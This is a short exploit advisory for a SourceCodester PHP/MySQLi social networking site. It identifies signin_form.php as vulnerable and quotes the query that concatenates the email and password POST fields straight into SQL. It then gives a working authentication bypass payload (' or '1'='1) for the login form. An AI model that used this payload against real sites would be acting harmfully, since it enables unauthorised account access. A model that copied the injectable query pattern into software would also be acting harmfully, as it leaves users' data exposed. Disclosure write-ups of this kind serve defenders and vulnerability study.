# Exploit Title: Social Networking Site - Authentication Bypass (SQli) # Date: 2020-11-17 # Exploit Author: gh1mau # Email: gh1mau.rulez@gmail.com # Team Members: Capt'N, muzzo, chaos689 | https://h0fclanmalaysia.wordpress.com/ # Vendor Homepage: https://www.sourcecodester.com/php/14601/social-networking-site-phpmysqli-full-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14601&title=Social+Networking+Site+in+PHP%2FMySQLi+with+Full+Source+Code # Software Release Date: November 17, 2020 # Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64) Vulnerable File: ---------------- /signin_form.php Vulnerable Code: ----------------- Entry point: line 7: $email=$_POST['email']; line 8: $password=$_POST['password']; Exit point: line 10: $result = mysqli_query($con,"SELECT * FROM user WHERE email = '$email' and password='$password'"); Vulnerable Issue: ----------------- Attacker could bypass the authentication using simple sqli login bypass payload username: gh1mau@gh1mau.com password: ' or '1'='1